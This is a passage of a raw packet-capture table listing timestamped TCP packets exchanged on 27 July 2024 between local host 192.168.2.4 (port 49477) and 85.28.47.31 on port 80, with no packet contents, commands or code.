Jul 27, 2024 05:39:18.816236973 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.816250086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.816256046 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.816292048 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.816324949 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.816371918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.816436052 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.816469908 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.816502094 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.816514969 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.816551924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.816586018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.816600084 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.816632032 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.816637039 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.816685915 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.816689014 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.816721916 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.816735983 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.816764116 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.816772938 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.816806078 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.816823006 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.816838980 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.816850901 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.816873074 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.816885948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.816917896 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.816924095 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.816956997 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.816971064 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.816989899 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817003012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817023993 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817042112 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817058086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817073107 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817091942 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817104101 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817137957 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817138910 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817188978 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817190886 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817224026 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817240000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817270994 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817275047 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817315102 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817332983 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817348957 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817368984 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817394018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817399979 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817434072 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817450047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817466974 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817481041 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817500114 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817513943 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817533970 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817547083 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817568064 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817580938 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817603111 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817615986 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817635059 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817646027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817682028 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817687988 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817722082 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817739010 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817754984 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817768097 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817791939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817800045 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817826986 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817840099 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817859888 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817874908 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817893982 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817905903 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817928076 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817939997 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817961931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.817975044 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.817994118 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818012953 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818027973 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818041086 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818065882 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818080902 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818099976 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818114042 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818147898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818150997 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818185091 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818195105 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818219900 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818231106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818269968 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818269968 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818305969 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818320990 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818353891 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818356991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818392038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818403959 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818425894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818438053 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818459034 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818468094 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818496943 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818528891 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818547010 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818562031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818573952 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818594933 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818608046 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818629026 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818641901 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818662882 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818675995 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818697929 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818727016 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818731070 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818748951 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818763971 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818777084 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818797112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818810940 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818831921 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818845034 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818865061 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818880081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818898916 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818911076 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818933964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818944931 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.818968058 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.818980932 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.819004059 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.819014072 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.819051981 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.821890116 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.821943045 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.821947098 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.821990967 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.821995974 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.822040081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.822046041 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.822078943 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.822088957 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.822112083 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.822125912 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.822149038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.822159052 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.822197914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.822201014 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.822232962 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.822241068 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.822267056 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.822278976 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.822303057 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.822316885 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.822336912 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.822350025 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.822371960 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.822385073 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.822405100 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.822422028 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.822438955 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.822453022 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.822473049 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.822484970 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.822505951 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.822520018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.822541952 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.822552919 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.822576046 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.822588921 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.822611094 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.822622061 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.822657108 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.904432058 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.904529095 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.904596090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.904628992 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.904647112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.904661894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.904679060 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.904727936 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.904743910 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.904762030 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.904767990 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.904789925 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.904797077 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.904829025 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.904830933 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.904853106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.904864073 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.904884100 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.904896975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.904915094 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.904931068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.904963970 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.904978991 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.905013084 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.906074047 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.906130075 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.906137943 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.906172037 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.906198978 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.906215906 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.906222105 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.906255007 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.906286955 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.906305075 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.906328917 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.906336069 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.906371117 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.906388044 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.906402111 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.906420946 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.906450987 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.906465054 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.906502962 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.906513929 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.906538010 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.906559944 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.906590939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.906594038 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.906641960 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.906675100 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.906692028 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.906711102 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.906727076 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.906759024 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.906760931 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.906810999 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.906812906 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.906843901 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.906862974 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.906893015 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.906898022 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.906948090 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.906949997 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.906982899 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907000065 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907015085 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907031059 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907049894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907063007 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907083035 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907098055 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907116890 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907130003 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907152891 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907169104 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907186985 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907202005 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907219887 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907234907 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907268047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907270908 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907310009 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907320023 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907344103 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907362938 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907377005 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907392025 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907409906 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907426119 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907458067 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907460928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907505989 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907511950 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907545090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907561064 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907579899 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907593012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907629967 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907630920 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907679081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907684088 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907716990 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907738924 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907751083 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907764912 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907793999 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907800913 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907834053 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907850027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907866001 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907881021 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907901049 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907915115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907949924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907952070 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.907985926 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.907999992 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.908019066 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908035040 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.908051968 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908067942 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.908102036 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908123970 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.908135891 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908147097 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.908169985 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908180952 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.908215046 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.908222914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908256054 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908288002 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908301115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.908318996 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908333063 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.908354998 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908360958 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.908387899 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908405066 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.908421040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908436060 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.908453941 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908468962 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.908504963 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.908530951 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908569098 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908591986 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.908601046 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908612013 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.908632994 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908644915 CEST	49477	80	192.168.2.4	85.28.47.31
